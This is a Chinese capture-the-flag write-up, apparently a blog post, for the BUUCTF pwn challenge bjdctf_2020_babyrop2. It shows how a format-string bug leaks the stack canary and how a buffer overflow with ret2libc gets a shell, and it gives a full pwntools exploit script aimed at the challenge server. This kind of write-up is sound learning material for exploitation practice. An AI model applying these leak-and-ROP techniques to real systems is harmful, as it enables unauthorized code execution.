zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——bjdctf_2020_babyrop2

    bjdctf_2020_babyrop2

    附件

    步骤:

    1. 例行检查,64位程序,开启了NX和canary保护

    在这里插入图片描述
    2. 试运行一下程序,看看大概的情况 提示我们去泄露libc
    在这里插入图片描述
    3. 64位ida载入,从main函数开始看程序
    在这里插入图片描述
    init
    在这里插入图片描述
    gift
    在这里插入图片描述
    第9行的printf函数存在格式化字符串漏洞,可以利用这点去泄露canary的值

    vuln
    在这里插入图片描述
    buf参数存在溢出漏洞,只要绕过了canary就能够利用ret2libc的方法获取shell

    利用思路:

    1. 利用格式化字符串泄露出canary的值
    2. 利用溢出漏洞,将canary的值填入绕过canary检测,利用ret2libc的方法获取shell

    利用过程:

    1. 泄露canary的值
      首先找一下输入点参数在栈上的相对位置(找偏移量),之前我都是输入aaa %08x %08x……%08x这样的字符串去找偏移的,这次不可以,换了一种方法,输入%n$p,n是偏移量,配上%$p就能定位到偏移量处,输出该位置上的内容,%p是以16进制输出
      最后找到偏移量是6
      在这里插入图片描述
      找个nop指令,给程序下个断点,看一下程序里栈的情况
      在这里插入图片描述
      可以看到在我们6161的下一行,有一串16进制数,这个就是canary的值,我们只要利用%7$p就能泄露出它的值,而且也看到了它在栈上的位置是0x20-8=0x18
    payload = '%7$p'
    r.sendline(payload)
    r.recvuntil('0x')
    canary = int(p.recv(16),16)
    
    1. 利用ret2libc的方式获取shell
      这边打算利用puts函数来泄露libc,puts函数只有一个参数,64位传参,只要借用一个rdi寄存器即可,找一下设置rdi寄存器指令的地址
      在这里插入图片描述
      pop_rdi=0x400993
      之后构造常用的泄露libc的payload
    payload = 'a'*(0x20-8)+p64(canary) #填上cancry
    payload += p64(0)                  #覆盖ebp,尝试写入了‘bbbbbbbb’来覆盖,但是在构造rop攻击获取shell的时候这样写不成功,改成了随意写一个数据覆盖可以成功
    payload += p64(pop_rdi)            #设置rdi寄存器的值
    payload += p64(puts_got)           #将rdi寄存器设置成了puts函数的got表地址
    payload += p64(puts_plt)           #调用puts函数,去输出puts函数的got表地址
    payload += p64(vuln_addr)          #程序跳转到vuln函数,继续控制,再次利用输入点的溢出漏洞
    
    r.recvuntil('story!
    ')
    r.sendline(payload)
    puts_addr = u64(r.recv(6).ljust(8,'x00'))
    print hex(puts_addr)
    

    之后就是计算system函数和bin/sh字符串的地址

    libc=LibcSearcher('puts',puts_addr)
    base_addr = puts_addr - libc.dump('puts')
    system_addr=base_addr + libc.dump('system')
    shell_addr = base_addr + libc.dump('str_bin_sh')
    

    构造rop攻击获取shell

    payload = 'a'*(0x20-8)+p64(cancry)
    payload += p64(0)
    payload += p64(pop_rdi)
    payload += p64(shell_addr)
    payload += p64(system_addr)
    payload += p64(main_addr)
    
    r.sendline(payload)
    

    完整的exp:

    from pwn import *
    from LibcSearcher import *
    
    r=remote('node3.buuoj.cn',26842)
    elf=ELF('./bjdctf_2020_babyrop2')
    context.log_level = 'debug'
    
    #p.recv()
    payload = '%7$p'
    r.sendline(payload)
    r.recvuntil('0x')
    cancry = int(r.recv(16),16)
    
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    pop_rdi = 0x0400993
    main_addr = elf.symbols['main']
    vuln_addr = 0x0400887
    
    
    payload = 'a'*(0x20-8)+p64(cancry)
    payload += p64(0)
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(vuln_addr)
    
    r.recvuntil('story!
    ')
    r.sendline(payload)
    puts_addr = u64(r.recv(6).ljust(8,'x00'))
    print hex(puts_addr)
    
    libc=LibcSearcher('puts',puts_addr)
    base_addr = puts_addr - libc.dump('puts')
    system_addr=base_addr + libc.dump('system')
    shell_addr = base_addr + libc.dump('str_bin_sh')
    
    r.recvuntil('story!
    ')
    
    payload = 'a'*(0x20-8)+p64(cancry)
    payload += p64(0)
    payload += p64(pop_rdi)
    payload += p64(shell_addr)
    payload += p64(system_addr)
    payload += p64(main_addr)
    
    r.sendline(payload)
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Flask 随记
    Notes on Sublime and Cmder
    Algorithms: Design and Analysis Note
    LeetCode 215 : Kth Largest Element in an Array
    LeetCode 229 : Majority Element II
    LeetCode 169 : Majority Element
    LeetCode 2:Add Two Numbers
    LeetCode 1:Two Sum
    Process and Kernel
    安装好scala后出现“找不到或无法加载主类”的问题
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273675.html
Copyright © 2011-2022 走看看